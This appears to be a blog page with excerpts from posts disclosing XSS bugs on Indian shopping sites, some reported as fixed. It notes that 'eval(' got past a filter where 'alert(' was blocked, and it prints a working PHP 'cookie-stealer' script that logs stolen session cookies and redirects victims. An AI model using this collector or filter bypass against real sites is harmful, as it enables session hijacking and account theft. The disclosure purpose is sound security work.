Update: Got a mail from snapdeal security team, and this vulnerability has been fixed.
I just found a XSS vulnerability on a very popular Indian e-commerce site snapdeal.com. It was a bit tricky to find the XSS pattern, because searching for a string containing some javascript functions such as “alert(” or “String.fromCharCode(“, were throwing “Access Denied” page. Though, the search string containing “eval(” wasn’t throwing any error.
Snapdeal XSS Access-Denied
I was going though few Indian e-commerce websites and found XSS vulnerabilities in few of them. I’m not publishing injection patterns due to security reasons. If anyone from the companies listed below want to know the injection pattern for their respective websites, get in touch. Below is the list of websites which are vulnerable:
Find the screenshots for all the sites listed above (click to enlarge) : Continue reading
Earlier, I demonstrated the XSS vulnerability in DealsAndYou (fixed) and now, I’ll demo a XSS bug on KoolKart.com. I’ll describe the whole process below.
Step 1 – Writing a php script for saving cookie returned by injected code (cookie-stealer.php).
$str = trim($_REQUEST['cookie']);
$file = 'cookie.txt';
if(!empty($str)){
$current = file_get_contents($file);
$current .= date('Y-m-d H:i:s') . "\t\t" . $str . "\n\n\n";
file_put_contents($file, $current);
header('Location: http://www.koolkart.com/');
}
The code is self explanatory. It gets the cookie information via querystring, saves it to a text file and redirects back to koolkart. Continue reading
Dealsandyou.com, Y U NO sanitize input
Update: Dealsandyou has fixed the bug. Responded on twitter with a thanks.
dealsandyouthanks
I was looking at dealsandyou.com a couple of days back and something (may be their bad design) made me do a XSS vulnerability test on their “Search” input box using the XSS Locator code snippet. Voila!, an alert box popped up confirming my hunch. Continue reading